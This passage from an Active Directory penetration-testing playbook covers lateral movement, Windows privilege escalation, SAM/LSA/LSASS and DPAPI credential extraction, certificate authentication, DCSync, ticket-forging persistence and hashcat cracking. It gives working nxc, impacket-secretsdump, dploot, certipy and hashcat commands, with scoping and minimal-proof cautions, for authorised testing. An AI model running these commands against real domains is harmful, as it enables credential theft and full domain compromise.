AD-LAT-01 — Determine remote management paths

Status: CURRENT

Entry state: S3–S6
Result type: ACCESS
Risk of execution: LOW

Goal

Identify where the current credential has interactive or administrative access over SMB, WinRM, WMI, RDP or MSSQL without immediately executing commands.

Prerequisites

Previously validated credential and a scoped target list derived from identity-to-host relationships. Authentication sweeps can create failed-logon events and lockout risk.

Commands

SMB privilege sweep

1
nxc smb '<CIDR>' -d '<domain>' -u '<user>' -p '<password>'

WinRM privilege sweep

1
nxc winrm '<CIDR>' -d '<domain>' -u '<user>' -p '<password>'

RDP auth check

1
nxc rdp '<CIDR>' -d '<domain>' -u '<user>' -p '<password>'

Interpretation

Record each host/protocol and administrative status. Prefer the least invasive management protocol if a shell is required.

If unsuccessful

Credential may still have application/database/share rights even with no remote shell.

Finding logic

Lateral-movement ability is usually the consequence of excessive privilege/credential reuse, not a standalone protocol finding.

Next

  • AD-HOST-01 — local privilege and secret sources
  • Update BloodHound owned hosts

Alternative branch

  • Return to directory-level paths

AD-LAT-02 — Pass-the-Hash / Kerberos ticket reuse

Use the single canonical validation procedure in AD-AUTH-01, selecting the NT-hash or Kerberos-cache variant. Chapter 24 maps each credential type to its restrictions. This branch does not require repeating authentication sweeps already recorded for the same identity, host and protocol.

After success, record only newly demonstrated host/service access and continue with AD-HOST-01. After failure, check credential type, ticket lifetime/SPN, NTLM restrictions and target authorization before attempting another protocol.

21. Local privilege escalation on Windows

AD-HOST-01 — Local privilege and configuration audit

Status: CURRENT

Entry state: S5
Result type: CANDIDATE
Risk of execution: LOW

Goal

On an authorized shell, inventory token privileges, services, scheduled tasks, writable paths, UAC/AppLocker/WDAC policy and local administrators before using exploit code.

Prerequisites

A Windows shell in the identity being assessed, a reviewed local PrivescCheck copy and a record of elevation state.

Commands

Identity/token

1
whoami /all

Local groups

1
2
whoami /groups
Get-LocalGroupMember -SID 'S-1-5-32-544'

Privilege audit

1
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

For application-control policy, continue with AD-HOST-03 after recording the current token.

Run the privilege audit in the user context whose boundary is being assessed. PrivescCheck deliberately skips or gates checks when elevated to avoid misleading ACL results. ExecutionPolicy Bypass affects that process policy; it is not a bypass of WDAC, AppLocker or every enforced policy.

Interpretation

A concrete local misconfiguration/privilege becomes a candidate. Validate it manually before exploitation.

If unsuccessful

No obvious local privilege path; search credential material and domain privileges rather than spraying local exploits.

Finding logic

Report the underlying service/file/registry/privilege misconfiguration, not merely the output of an automated PEAS-style tool.

Next

  • AD-HOST-02 — SeImpersonate if present
  • Service/task/path-specific proof
  • AD-CRED-01 — credentials if admin is achieved

Alternative branch

AD-HOST-02 — SeImpersonate / SeAssignPrimaryToken privilege

Status: CURRENT

Entry state: S5
Result type: ACCESS
Risk of execution: HIGH

Goal

Determine whether a service account token privilege can be converted to SYSTEM through an appropriate local impersonation primitive.

Prerequisites

A service/token context holding the relevant privilege and an OS-compatible local authentication/impersonation primitive. A present but disabled privilege may still be enableable by the process.

Commands

Confirm privilege

1
whoami /priv

Interpretation

Possession of a relevant token privilege is a prerequisite, not proof of SYSTEM access. A disabled privilege is not necessarily absent: a process may be able to enable a privilege already present in its token. Select a technique compatible with OS patch level and service context; prove SYSTEM with a benign command.

If unsuccessful

Do not run potato-family exploits without the prerequisite privilege/path.

Finding logic

Excessive service-account local privilege can be reportable; severity depends on the initial access boundary and host value.

Next

  • Use one scope-approved contemporary technique such as PrintSpoofer/GodPotato only after validating compatibility
  • After SYSTEM: AD-CRED-01 if credential access is authorized

Alternative branch

  • Check service DACLs, scheduled tasks, writable binaries, installer policies and credentials

Operational notes

  • Potato-family exploit compatibility changes with Windows builds and mitigations; installed tool documentation and OS validation are mandatory.

AD-HOST-03 — UAC, AppLocker and WDAC boundary assessment

Status: CURRENT

Entry state: S5
Result type: CANDIDATE
Risk of execution: LOW for policy inventory / HIGH for bypass validation

Goal

Determine whether UAC token boundaries and application-control policy materially restrict the current compromised context before selecting any local bypass technique. Avoid generic “UAC bypass” or “AppLocker bypass” testing without first proving the relevant policy/token condition.

Prerequisites

A Windows shell and access to the effective application-control/token policy for the tested context.

Commands

Reuse the token inventory from AD-HOST-01; recollect only if the process identity or elevation state changed.

UAC policy

1
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

Effective AppLocker policy

1
Get-AppLockerPolicy -Effective | Format-List

Device Guard / WDAC-related state

1
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Format-List *

Interpretation

Separate the questions:

  • Is the current identity already a local administrator but running with a filtered/non-elevated token?
  • Is UAC enabled and what elevation boundary applies to this session?
  • Is AppLocker/WDAC actually enforced for the executable/script type and user context being tested?
  • Does an allowed execution path cross the intended security boundary?

A policy gap is a candidate until an unauthorized execution/elevation outcome is demonstrated.

If unsuccessful

No useful policy/token gap was identified. Do not cycle through public bypasses merely for completeness; continue service/task/path and credential/domain paths.

Additional evidence

  • user SID/group membership
  • token integrity/elevation state
  • UAC configuration
  • effective AppLocker rules
  • WDAC/Device Guard state
  • exact allowed/blocked execution test if one is performed

Finding logic

UAC is not a security boundary equivalent to separate credentials, and membership in local Administrators is not itself a UAC vulnerability. Report an application-control or privilege-boundary weakness only when policy intent is clear and the tested context can cross it in a security-relevant way.

Next

  • Use one build/policy-compatible proof that demonstrates the minimum required execution/elevation impact.
  • If SYSTEM/admin is reached: AD-CRED-01 only when credential access is approved.

22. Credential extraction and sensitive Windows material

AD-CRED-01 — SAM / LSA / cached credentials

Status: CURRENT

Entry state: S8
Result type: CREDENTIAL
Risk of execution: HIGH

Goal

When administrative access is explicitly in scope, determine whether local registry secrets reveal local password hashes, service secrets or cached domain logons.

Prerequisites

Administrative access to the selected member host and required remote registry/SMB access, or already acquired matching SAM/SECURITY/SYSTEM hives.

Commands

Remote Impacket

1
impacket-secretsdump '<domain>/<user>:<password>@<target>'

Offline hives

1
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL

Parameters

Parameter Meaning
secretsdump Impacket example for SAM/LSA/NTDS extraction and DCSync.
-sam/-security/-system Offline registry hive inputs.
LOCAL Offline/local parsing target keyword.

Interpretation

Classify each artifact: local NT hash, LSA secret, cached domain credential, machine-account secret. Do not assume every output line is reusable over the network.

If unsuccessful

Protection, permissions, credential isolation or missing hives prevented extraction.

Finding logic

Credential material accessible from a compromised low-tier host becomes important when it crosses tiers or is reused elsewhere.

Next

  • AD-LAT-02 for reusable hashes
  • AD-DPAPI-01 for DPAPI-linked secrets
  • Re-run BloodHound for newly compromised identities

Alternative branch

Reference

AD-CRED-02 — LSASS credential material

Status: CURRENT

Entry state: S8
Result type: CREDENTIAL
Risk of execution: HIGH

Goal

If explicitly permitted, determine whether an administrative compromise exposes reusable logon secrets/tickets in LSASS despite Credential Guard and modern protections.

Prerequisites

Administrative host access, recorded Credential Guard/PPL state and a selected collection method compatible with the build and engagement limits.

Commands

Reuse the Device Guard query from AD-HOST-03 and preserve the protection state before selecting a collection method.

Check SecurityServicesRunning for Credential Guard and investigate LSASS PPL separately. Device Guard status alone does not prove that LSASS dumping is blocked. If no collection attempt was made, record PREREQUISITES_REVIEWED, not TESTED_NO_FINDING.

Interpretation

Any recovered cleartext/hash/ticket must be tied to a logon session, user, source host and privilege. Stop after obtaining sufficient proof; do not dump every endpoint.

If unsuccessful

An actual collection failure needs attribution: Credential Guard, PPL, EDR, permissions, tool incompatibility and absence of useful sessions are different outcomes. Only an observed and explained protection result supports a positive control conclusion.

Finding logic

The report should focus on why a lower-trust compromise exposed higher-trust credentials, not on “Mimikatz worked”.

Next

  • Validate only the highest-value newly exposed identity
  • Update attack graph

Alternative branch

  • DPAPI, service secrets, tickets and application credential stores

Operational notes

  • This playbook intentionally does not prescribe a single LSASS-dumping binary because tool/EDR interaction changes quickly and may be disruptive.

AD-CRED-03 — Search accessible host data for configuration secrets

Status: CURRENT

Entry state: S5
Result type: CANDIDATE
Risk of execution: LOW when scoped and read-only

Goal

Search locations already accessible to the current user for credentials, tokens, connection strings and deployment secrets before moving to memory dumping. File/configuration exposure is often safer to prove and easier to remediate than invasive credential extraction.

Prerequisites

Access to the selected user/application locations; inventory readable paths before content collection.

High-value locations

  • user profile documents/scripts/history
  • PowerShell history
  • unattended/setup files
  • application/web configuration files
  • scheduled-task scripts
  • deployment/automation scripts
  • mapped shares and locally cached configuration
  • browser/application credential stores, with DPAPI handling delegated to AD-DPAPI-01

Commands

1
Get-ChildItem "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine" -Force -ErrorAction SilentlyContinue
1
Get-ScheduledTask | Select-Object TaskName,TaskPath,State,@{N='User';E={$_.Principal.UserId}},@{N='RunLevel';E={$_.Principal.RunLevel}}
1
Get-CimInstance Win32_Service | Select-Object Name,StartName,PathName,State

For content searching, restrict patterns and directories to the engagement scope; avoid recursive whole-disk searches on production servers without need.

Interpretation

Classify each secret by type and owner, then validate it through AD-AUTH-01 rather than blindly reusing it. A path or username alone is information; a readable reusable secret is credential exposure.

If unsuccessful

No obvious accessible file/config secret found. Continue DPAPI or other explicitly approved credential paths only when justified.

Additional evidence

  • file/config path
  • owner/ACL
  • secret type, redacted in ordinary notes
  • identity/service associated with it
  • validation result

Finding logic

Readable reusable credentials/tokens by an unintended principal are normally reportable. Severity depends on reachable privilege and reuse.

Next

23. DPAPI

AD-DPAPI-01 — DPAPI master keys and application secrets

Status: CURRENT

Entry state: S5–S8 or scoped offline evidence

Result type: CREDENTIAL

Risk of execution: HIGH for live secret collection; offline parsing does not modify the source host

Goal

Determine whether an already accessible protected secret can be decrypted, preserving the link between blob, master key, owner and decryption prerequisite.

Prerequisites

A selected blob, its matching master-key file and an applicable decryption route. Identify user versus machine/SYSTEM context before choosing keys. A domain user backup key is not a substitute for machine DPAPI material; newer application-specific protection can add further conditions.

Procedure

  1. Record the application, owner SID, source paths and master-key GUID. Work on a copy of the selected evidence.
  2. Select the existing decryption prerequisite: user password/hash where applicable, recovered master key, domain backup key for backed-up user master keys, or machine-context material.
  3. Decrypt the matching master key, then only the selected artifact type. Do not run all-user triage merely to answer a one-credential question.
  4. Record recovered material in the protected inventory and return to AD-AUTH-01 if authentication validation is relevant.

Commands — offline examples

Decrypt a domain-user master-key file using an already obtained domain backup key:

1
impacket-dpapi masterkey -file '<masterkey_file>' -pvk '<domain_backup_key.pvk>'

Decrypt a Credential Manager file with its recovered master key:

1
impacket-dpapi credential -file '<credential_file>' -key '<decrypted_masterkey_hex>'

masterkey and credential are different input formats. The -key value above is recovered key material, not the account NT hash or the .pvk filename. Preserve any application-specific entropy requirement when parsing generic DPAPI blobs.

Live collection alternative

NetExec exposes --dpapi in nxc smb --help; it is not established by searching the module list with -L. Its collection scope may include multiple profiles and secrets. dploot has separate user, machine and artifact-specific subcommands. Choose one that matches the agreed evidence scope and the installed version; a help command alone is not a completed DPAPI assessment.

Interpretation and evidence

Successful decryption proves exposure of the selected secret under the documented key/access conditions. Failure can mean mismatched files, missing keys/entropy or additional protection, not a general absence of recoverable secrets. Record source owner/path, GUID, key provenance, artifact type and a redacted result. DPAPI itself is not a vulnerability; report the access or tier-separation failure that made the secret available.

Next

AD-AUTH-01 for usable credentials; AD-CERT-01 for certificates/private keys; AD-DPAPI-02 only if domain backup-key acquisition is separately required.

References

AD-DPAPI-02 — Domain DPAPI backup key

Status: CURRENT

Entry state: S9
Result type: CREDENTIAL
Risk of execution: HIGH

Goal

When Tier-0/domain-level access is already proven and extraction is explicitly approved, determine whether the domain DPAPI backup key can be obtained as impact evidence. This key can recover backed-up DPAPI master keys for domain users, with broad retrospective exposure implications. It is not a universal machine/SYSTEM DPAPI decryption key; machine-context recovery uses separate material such as DPAPI_SYSTEM.

Prerequisites

Domain Administrator-equivalent backup-key retrieval rights, a selected DC and a protected destination for the exported key.

Commands

1
dploot backupkey -d '<domain>' -u '<admin>' -p '<password>' -t '<dc_fqdn_or_ip>'

Parameters

Parameter Meaning
backupkey Retrieve domain DPAPI backup keys from a Domain Controller.
-d Domain.
-u / -p Authorized authentication identity. Prefer a safer secret-input method when supported by the installed release.
-t Target Domain Controller.

Interpretation

The exported domain backup key (commonly written as key.pvk) is Tier-0 credential material. Possession materially broadens the ability to decrypt DPAPI-protected data for domain users when the corresponding backed-up master keys and protected blobs are available. Do not bulk-decrypt client data merely because the key was obtained.

If unsuccessful

The current identity/path could not retrieve the backup key. Do not weaken controls or repeat invasive retrieval attempts once domain impact is otherwise established.

Additional evidence

  • domain/DC
  • identity used and privilege basis
  • protected evidence reference for the exported key
  • tool/version
  • one minimal authorized decryption proof if required

Finding logic

Obtaining the backup key with legitimate Domain Admin-equivalent rights is usually impact evidence of Tier-0 compromise, not a separate vulnerability. The underlying finding is the path that provided those rights. If a lower-trust identity can retrieve it, that permission failure is independently critical.

Next

  • Stop broad collection.
  • If required, validate one scoped DPAPI artifact with AD-DPAPI-01.
  • Treat dependent exposed secrets as rotation candidates during remediation.

Alternative branch

  • Continue only the credential paths needed to prove the already identified finding.

Reference

24. Credential-type routing

Material Validate or transform Limits / next branch
Cleartext password AD-AUTH-01 Correct domain/local identity; one successful protocol does not establish every logon right.
NT hash AD-AUTH-01 hash variant NTLM where accepted; Kerberos RC4 key use is separate and requires RC4 support. Never substitute a NetNTLM response or DCC2 value.
AES128/AES256 long-term key Request a TGT with the example below Correct principal, realm, KDC, encryption type and time.
TGT / service ticket / ccache / kirbi Inspect validity and principal; AD-AUTH-01 cache variant A service ticket is scoped to a service; a TGT and TGS are not interchangeable. Convert file format only when required.
PFX / certificate plus private key AD-CERT-01 Trust, EKU and identity mapping must support the selected PKINIT or Schannel path.
NetNTLMv1/v2 response AD-CRACK-01 Offline password verification. Relay needs a live compatible exchange, not an arbitrary stored capture.
AS-REP / TGS / MS-SNTP material AD-CRACK-01 Match the exact format/encryption type and preserve account attribution.
DPAPI blob / master key / domain backup key AD-DPAPI-01 Owner/context, matching files, key provenance and any additional protection matter.

AES-key-to-TGT conversion

1
impacket-getTGT -aesKey '<aes_key>' '<domain>/<user>' -dc-ip '<dc_ip>'

Inspect an existing cache

1
2
export KRB5CCNAME='/secure/path/user.ccache'
klist

Convert a Kerberos credential container when needed

1
impacket-ticketConverter '<ticket.kirbi>' '<ticket.ccache>'

Conversion changes the container, not the ticket principal, privileges, service scope or validity. Preserve the original file and verify the converted cache before reuse.

AD-CERT-01 — Certificate credential handling: PKINIT, Schannel and identity mapping

Status: CURRENT

Entry state: S6
Result type: CREDENTIAL
Risk of execution: MEDIUM

Goal

Given a PFX or certificate/private-key pair, determine which AD identity it maps to and whether it provides Kerberos PKINIT and/or LDAP Schannel authentication under the environment’s current certificate-mapping policy.

Prerequisites

Certificate and matching private key; an issuer trusted for the relevant authentication purpose and a compatible identity mapping.

Commands

Inspect the public certificate without exporting the private key

1
2
certipy cert -pfx 'identity.pfx' -nokey -out 'identity.crt'
openssl x509 -in 'identity.crt' -noout -text

Attempt certificate authentication

1
certipy auth -pfx '<identity.pfx>' -dc-ip '<dc_ip>'

For the public certificate export, -nokey suppresses private-key output and -out chooses the file. openssl x509 -noout -text displays decoded certificate fields. A bare certipy cert -pfx ... may export the private key to stdout and is not the inspection recipe.

For a certificate compatible with LDAP Schannel mapping, the explicit alternative is:

1
certipy auth -pfx '<identity.pfx>' -dc-ip '<dc_ip>' -ldap-shell

An LDAP shell is authenticated access, not an authorization to modify arbitrary objects. PKINIT failure does not establish Schannel success; evaluate each mapping path independently.

Parameters

Parameter Meaning
cert Local certificate/key import and export; use -nokey for the inspection recipe.
-pfx Input PKCS#12/PFX containing certificate and private key.
auth Authenticate using certificate material.
-dc-ip Domain Controller address used for the authentication workflow.

Interpretation

Successful certificate authentication proves the certificate is a reusable credential for the mapped AD identity. If the workflow returns a TGT or NT-hash-equivalent material, inventory each artifact separately; they have different use and lifetime.

If unsuccessful

Failure may come from certificate expiration/revocation, missing authentication EKU/application policy, account mapping, strong certificate binding, absent PKINIT support, wrong CA trust, DNS/time or a mismatch between certificate and private key. It does not automatically invalidate the original AD CS misconfiguration.

Additional evidence

  • PFX evidence reference, never inline secret in notes
  • subject and SAN
  • issuer and serial number
  • template if known
  • validity period
  • EKU/application policies
  • mapped principal
  • authentication method and result

Finding logic

A certificate is credential material. The reportable weakness is normally how an unauthorized principal obtained an authentication-capable certificate/private key or why mapping allowed impersonation.

Next

  • Store resulting TGT/ccache/hash as separate credential records.
  • AD-AUTH-01 — validate only necessary target access.
  • Re-run BloodHound/ACL analysis as the certificate-backed principal.

Alternative branch

  • Re-check the exact AD CS ESC/mapping prerequisites.
  • Test Schannel/PKINIT only when the certificate characteristics support that path.
  • Do not repeatedly request new certificates without understanding the failed mapping.

Reference

AD-CERT-02 — Discover certificates and private-key material on an accessed host

Status: CURRENT

Entry state: S5
Result type: CANDIDATE
Risk of execution: LOW for inventory / HIGH for private-key export

Goal

Identify authentication-capable certificates already present on a compromised/authorized host before requesting new certificates. Existing certificates can outlive passwords and may map to privileged users, computers or services.

Prerequisites

Access to the intended certificate store. Certificate visibility, key presence, key usability and key exportability are separate questions.

Commands

Current-user certificate store

1
Get-ChildItem Cert:\CurrentUser\My | Select-Object Subject,Issuer,Thumbprint,NotBefore,NotAfter,HasPrivateKey,EnhancedKeyUsageList

Local-machine certificate store — requires rights to read the relevant store

1
Get-ChildItem Cert:\LocalMachine\My | Select-Object Subject,Issuer,Thumbprint,NotBefore,NotAfter,HasPrivateKey,EnhancedKeyUsageList

Native certificate-store view

1
certutil -user -store My
1
certutil -store My

Interpretation

For each certificate, map subject/SAN, EKUs, validity, private-key availability and identity mapping. HasPrivateKey=True does not automatically mean the key is exportable or usable by the current process.

If unsuccessful

No relevant certificate in the tested store/context. Continue AD CS enrollment analysis rather than searching arbitrary private-key files without scope.

Additional evidence

  • store/location
  • subject/SAN
  • issuer/CA
  • thumbprint
  • EKUs/application policies
  • validity period
  • private-key presence/exportability if explicitly tested
  • mapped AD identity

Finding logic

A certificate existing on its intended host is not a finding. Unintended read/export access, weak private-key protection or a certificate that enables privilege beyond the host/user boundary can be reportable.

Next

  • AD-CERT-01 — determine PKINIT/Schannel use and mapping
  • AD-AUTH-01 — tag the certificate credential and identity
  • AD-PERSIST-02 only when persistence implications need to be documented

Alternative branch

  • Continue remote-execution/domain-dominance decision tree

25. Remote execution: prove, do not over-execute

Once administrative access is established, prefer the execution mechanism that is least disruptive and easiest to attribute/clean. The goal is usually to prove the access boundary, not deploy a payload.

Method Typical prerequisite Operational consideration
WinRM WinRM enabled + allowed admin/user Clean PowerShell remoting; constrained by policy/JEA
WMI DCOM/RPC + local admin Creates remote process; firewall/DCOM sensitive
SMB service execution SMB + Service Control Manager admin Creates/transiently modifies a service
Scheduled task Task Scheduler RPC rights Creates task artifact
RDP Interactive logon right + RDP Human-visible session; may affect users
MSSQL xp_cmdshell SQL sysadmin + feature enabled/enableable Changes SQL configuration if enabled for test

26. Domain replication and domain-dominance primitives

AD-DOM-01 — DCSync rights validation

Status: CURRENT

Entry state: S7–S9
Result type: CREDENTIAL
Risk of execution: HIGH

Goal

Determine whether the controlled principal has directory replication rights sufficient to request password replication data.

Prerequisites

Effective replication rights on the domain naming context, reachable DRS RPC and a named test account. Inspect Replicating Directory Changes and Replicating Directory Changes All; filtered-set behavior can add conditions.

Commands

Targeted proof

1
impacket-secretsdump -just-dc-user '<authorized_test_account>' '<domain>/<user>:<password>@<dc_fqdn>'

Parameters

Parameter Meaning
-just-dc-user Restrict DRS replication request to a single named account instead of dumping the entire directory.

Interpretation

Successful replication of a single approved account proves DCSync capability. Avoid a full -just-dc dump unless the engagement explicitly needs it.

If unsuccessful

The principal lacks required replication rights, DRS path is blocked, or authentication context is insufficient.

Finding logic

Unintended DCSync capability is generally critical because it can expose domain credential material without code execution on a DC.

Next

  • Stop after minimum proof unless full credential-impact validation is explicitly required
  • Identify the ACE/group granting replication rights
  • Preserve targeted evidence

Alternative branch

  • Return to ACL/domain-object control and other tier-0 paths

Reference

AD-DOM-02 — Full-domain credential collection

Status: CURRENT

Entry state: S9
Result type: CREDENTIAL
Risk of execution: HIGH — full-domain credential collection

Goal

If DC administrative compromise is already proven and extraction is explicitly in scope, obtain directory credential material through an approved remote/offline method.

Prerequisites

A justified full-domain collection requirement and effective replication rights for the shown method. Offline database extraction is a separate workflow.

Commands

Remote method only when approved

1
impacket-secretsdump '<domain>/<admin>:<password>@<dc_fqdn>' -just-dc

Parameters

Parameter Meaning
-just-dc Limit extraction to directory data. DRSUAPI is the default in this example; -use-vss selects a different collection method.

Interpretation

Directory hashes/keys prove full credential compromise. At this point additional escalation is usually unnecessary; move to impact/reporting.

If unsuccessful

Use the failure to identify protections/permissions rather than trying multiple disruptive extraction approaches by default.

Finding logic

A path that allowed an initially low-privileged actor to reach this stage is the main finding; “NTDS dumped” is impact evidence.

Next

  • Stop uncontrolled credential collection
  • Document affected scope and reset/remediation implications

Alternative branch

  • If domain control is otherwise proven, do not force an extraction solely for completeness

27. Ticket forging and persistence

Persistence techniques belong in the playbook because compromise assessment is incomplete if long-lived trust material is ignored. In a normal penetration test, demonstrate prerequisites and impact rather than leaving persistence. Forged tickets, certificate trust, replication-based changes and LSASS/DC modifications have very different prerequisites and cleanup implications; treat them as separate capabilities rather than interchangeable “persistence”.

AD-PERSIST-01 — Golden ticket prerequisite validation

Status: CURRENT

Entry state: S9
Result type: ACCESS
Risk of execution: LOW for existing-evidence review; HIGH for live forging

Goal

Understand whether compromise of the krbtgt key plus the domain SID would permit forged TGTs.

Prerequisites

Attributable current krbtgt key material and correct domain identity. Record key version and encryption type; do not imply that a specific forged ticket has been accepted without testing it.

Commands

Prerequisite inventory only

Record the domain SID and whether current krbtgt key material was legitimately obtained during the approved test. Do not forge a ticket by default.

Interpretation

Possession of the relevant current krbtgt key and domain context establishes compromise of the ticket-signing trust. A particular accepted forged TGT still depends on valid account/PAC and current KDC/service validation conditions. A live forged ticket is usually unnecessary once those prerequisites are proven.

If unsuccessful

Without the correct krbtgt material, this persistence path is unavailable.

Finding logic

Exposure of krbtgt material means domain-wide Kerberos trust is compromised and normally requires a controlled double reset during remediation.

Next

  • Move to report/incident-style remediation guidance
  • Only forge a test ticket if explicitly required by scope

Alternative branch

  • Other persistence classes should not be tested merely to “have one”

AD-PERSIST-02 — Certificate-based persistence and Golden Certificate prerequisites

Status: CURRENT

Entry state: S6 or S9
Result type: CREDENTIAL
Risk of execution: LOW for existing-evidence review; HIGH for key export or forging

Goal

Determine whether long-lived authentication certificates or CA private-key compromise could survive password resets, and whether compromise of a CA signing private key would create Golden Certificate capability.

Prerequisites

An existing authentication certificate/private key or independently established access to a trusted CA signing key.

Commands

Use AD-CERT-01 for certificate inspection and AD-CERT-02 for host-store discovery. Record issuer, serial, validity, mapping, key access and revocation behavior once; reference that evidence here.

Interpretation

A valid authentication certificate/private key can remain usable until expiry, revocation or mapping changes. Compromise of the CA signing private key is substantially broader: it creates Golden Certificate capability, allowing certificates to be forged under an already trusted CA until that trust/key material is remediated.

If unsuccessful

Certificate cannot authenticate under current mapping/protection or has been revoked/expired.

Finding logic

Severity follows the mapped identity and trust scope. A compromised CA signing key can be critical; a single low-privilege user certificate is not automatically a critical finding.

Next

  • Record certificate identity/serial/validity
  • Coordinate revocation/CA remediation
  • Do not issue additional persistence certificates

Alternative branch

  • No further persistence action required

Reference

27.1 Persistence and forged-credential capability matrix

The following items are coverage targets, not a checklist of payloads to deploy. In production testing, proving the prerequisite secret/right is normally sufficient.

Capability Required control/material What it proves Default pentest proof
Direct privileged-group membership / ACL persistence Write rights on the privileged group/object or its DACL/owner Durable directory privilege can be granted Prove effective right; avoid leaving membership/ACE changes
Golden Ticket Current krbtgt long-term key + domain SID Arbitrary forged TGT capability for that domain AD-PERSIST-01 prerequisite evidence
Silver Ticket Target service/computer long-term key + correct SPN/domain context Forged service ticket capability limited to the affected service/security context Record key/SPN prerequisite; live forge only if required
Diamond Ticket A legitimate Kerberos ticket plus the relevant long-term key needed to decrypt/modify/re-sign the ticket/PAC A legitimate-base ticket can be modified while retaining normal ticket structure Prerequisite evidence; lab/explicit approval for live use
Sapphire Ticket Legitimate ticket flow plus the S4U2Self/U2U/PAC-substitution prerequisites and required key/context Privileged PAC data can be inserted into a legitimate-base ticket under specific conditions Conceptual/prerequisite validation unless explicitly required
Golden Certificate CA signing private key and an AD authentication path trusting that CA Arbitrary trusted authentication-certificate forging capability AD-PERSIST-02; do not mint extra persistence certs by default
DCShadow Ability to register/operate a rogue DC representation and perform the required replication/metadata operations Directory changes can be introduced through the replication model rather than ordinary LDAP writes Document prerequisite rights; do not execute on production by default
DSRM persistence DSRM credential plus a configuration/logon path that permits it to be useful outside recovery-only intent DC-local administrative fallback can remain usable independently of normal domain passwords Inspect configuration/credential exposure only
Skeleton Key Ability to modify DC authentication behavior in LSASS memory Alternate-password authentication can be introduced on a DC Legacy/in-memory concept; do not deploy in normal pentests
Custom SSP / authentication package Administrative ability to register/load code in LSASS authentication processing Credential interception or alternate authentication logic could persist Prove administrative prerequisite, not deployment

Decision rule

If Domain/Enterprise Admin, DC code execution, CA private-key access or krbtgt material is already demonstrated, additional persistence mechanisms rarely add report value. Record the additional capabilities implied by the obtained control, then stop unless the scope explicitly requires a persistence-resilience exercise.

28. Legacy and version-specific vulnerabilities

Keep this chapter separate from normal AD methodology. First prove that the affected product/version/configuration exists and that vendor mitigations are absent. Many historic AD vulnerabilities are no longer realistic on maintained estates, and running old exploit scripts blindly creates noise and risk.

Issue Gate before testing Preferred proof
MS14-068 Very old unpatched Windows Server/Kerberos environment Patch/version/config evidence before any crafted ticket
MS14-025 GPP Historical cpassword files may persist even on patched systems Read-only SYSVOL search
MS17-010 EternalBlue SMBv1 + vulnerable OS/patch state Safe NSE/version validation before exploit
CVE-2020-1472 Zerologon Unpatched/unenforced Netlogon state Non-destructive scanner first; exploit only explicit
CVE-2020-0796 SMBGhost Affected SMB 3.1.1 Windows build Version/patch validation
PrintNightmare Print Spooler + vulnerable patch/config state Scanner/read-only RPC validation
noPac Affected KDC/SAM account rename behavior and patch state Scanner before exploit
CVE-2022-26923 Certifried Affected AD CS/DC certificate mapping state Patch/config validation; modern strong mapping changes assumptions
ProxyShell/ProxyNotShell Affected Exchange build and patch state Version/patch validation; isolate from core AD flow
PrivExchange / CVE-2019-0686 and CVE-2019-0724 Legacy on-prem Exchange configuration/patch state plus relay-relevant Exchange AD permissions Patch/version and permission/relay posture before any historical PoC
CVE-2025-53779 BadSuccessor Windows Server 2025 dMSA environment plus vulnerable patch state/permissions Patch state + AD-DMSA-01 read-only dMSA/container ACL review; do not assume the pre-patch direct escalation path

28.1 Zerologon

Treat a positive scanner as a critical candidate. The classic exploitation flow can alter a DC machine account credential and can disrupt the domain if cleanup fails. Do not execute it simply to prove severity when a non-destructive validated scanner plus patch evidence is sufficient.

28.2 GPP cpassword

Unlike many legacy CVEs, old GPP XML may remain in SYSVOL years after the original patch because the patch prevents creation of new password-bearing preferences but does not magically remove existing files. Keep this read-only check in normal coverage.

29. Hash and credential-material cracking

AD-CRACK-01 — Offline cracking decision

Status: CURRENT

Entry state: S6
Result type: CREDENTIAL
Risk of execution: LOW to the target environment

Goal

Crack only material whose cleartext recovery will answer an engagement question: password quality, reuse, or privilege escalation. First identify the format exactly; similar-looking Windows/Kerberos artifacts are not interchangeable.

Prerequisites

Attributable offline-verifiable material, an exact format and an agreed compute/time/wordlist budget.

Commands

NT hash — Hashcat names mode 1000 NTLM

1
hashcat -m 1000 nt-hashes.txt '<wordlist>'

LM

1
hashcat -m 3000 lm.txt '<wordlist>'

NetNTLMv1

1
hashcat -m 5500 netntlmv1.txt '<wordlist>'

NetNTLMv2

1
hashcat -m 5600 netntlmv2.txt '<wordlist>'

MS Cache 2 / DCC2

1
hashcat -m 2100 dcc2.txt '<wordlist>'

AS-REP etype 23

1
hashcat -m 18200 asrep.txt '<wordlist>'

Kerberoast TGS etype 23 / RC4

1
hashcat -m 13100 tgs-etype23.txt '<wordlist>'

Kerberos TGS etype 17 / AES128

1
hashcat -m 19600 tgs-etype17.txt '<wordlist>'

Kerberos TGS etype 18 / AES256

1
hashcat -m 19700 tgs-etype18.txt '<wordlist>'

Timeroast / MS SNTP

1
hashcat -m 31300 --username timeroast.hashes '<wordlist>'

Parameters

Parameter Meaning
-m Hashcat hash mode. Verify against the exact captured prefix using hashcat --example-hashes or current documentation.
–username Tell Hashcat that the input includes a username/account prefix; required by the Timeroast project’s documented Hashcat flow.

Interpretation

Recovered cleartext becomes a credential only after it is tied back to the correct principal/source artifact. Record the originating artifact and never lose the link between cracked password and identity. DCC2/MS Cache 2 and NetNTLM challenge/response material are offline password-verification formats; they are not NT hashes that can simply be passed directly for normal pass-the-hash authentication.

If unsuccessful

“Not cracked” does not mean a strong password; it means the selected attack, masks/rules/wordlist and allotted effort did not recover it. Record the effort rather than converting a cracking failure into a security conclusion.

Additional evidence

  • material type/mode
  • principal and source artifact
  • cracking strategy and runtime/effort
  • recovered cleartext in protected credential storage
  • validation result

Finding logic

Report weak/reused passwords and the account/configuration that exposed offline-verifiable material, not “Hashcat cracked a hash”.

Next

Alternative branch

  • Record effort/time/strategy and continue other attack paths

Operational notes

  • For unusual formats, verify the current Hashcat mode rather than copying a number from historical notes.
  • $sccm$aes128$... PXE/SCCM material is tooling-specific. Use the SCCM/PXE tool’s current conversion/cracking guidance; do not invent a stock Hashcat mode when the current tooling does not define one.
  • Modern Kerberos estates may yield AES-encrypted ticket material; do not assume every roastable TGS will be RC4/etype 23.

29.1 Common format recognition

Material Typical prefix/shape Hashcat / use
